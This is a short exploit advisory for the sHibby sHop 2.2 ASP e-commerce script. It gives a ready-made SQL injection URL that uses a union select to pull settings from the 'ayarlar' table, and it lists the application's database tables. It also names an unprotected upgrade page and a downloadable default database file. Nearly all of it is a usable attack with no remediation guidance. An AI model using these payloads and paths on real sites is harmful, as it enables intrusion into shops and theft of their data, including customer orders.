sHibby sHop versions 2.2 and below suffer from SQL injection and remote database access vulnerabilities.
a4b75eeea401633d7f7674c980ef571d1d39daab64cceee61b63986309f1cc73
Title: sHibby sHop v2.2 <= Remote (SQL/Update) Multiple Vulnerability
================================================================
[+] Author : KnocKout
[+] Special Thankz : Dr.Kacak
[+] System 0VerfL0verZ
=================================================================
Script : sHibby sHop
Verz: 2.2
Download : http://aspindir.com/goster/4476
SQL attack ;
http://target.com/path/default.asp?git=4&sayfa=-3+union+all+select+0,copy,keyword+from+ayarlar
Tables;
yasakli
ustmenu
urun_yorum
urun
ureticiler
tema
site_gel
siparis
sayfa
say_site
say_ip
say_hit
online
kategori
banner
ayarlar
------------
Update file ( Direct Access )
http://localsite.com/path/upgrade.asp
And default Database file
http://target.com/path/Db/urun.mdb
###############################################################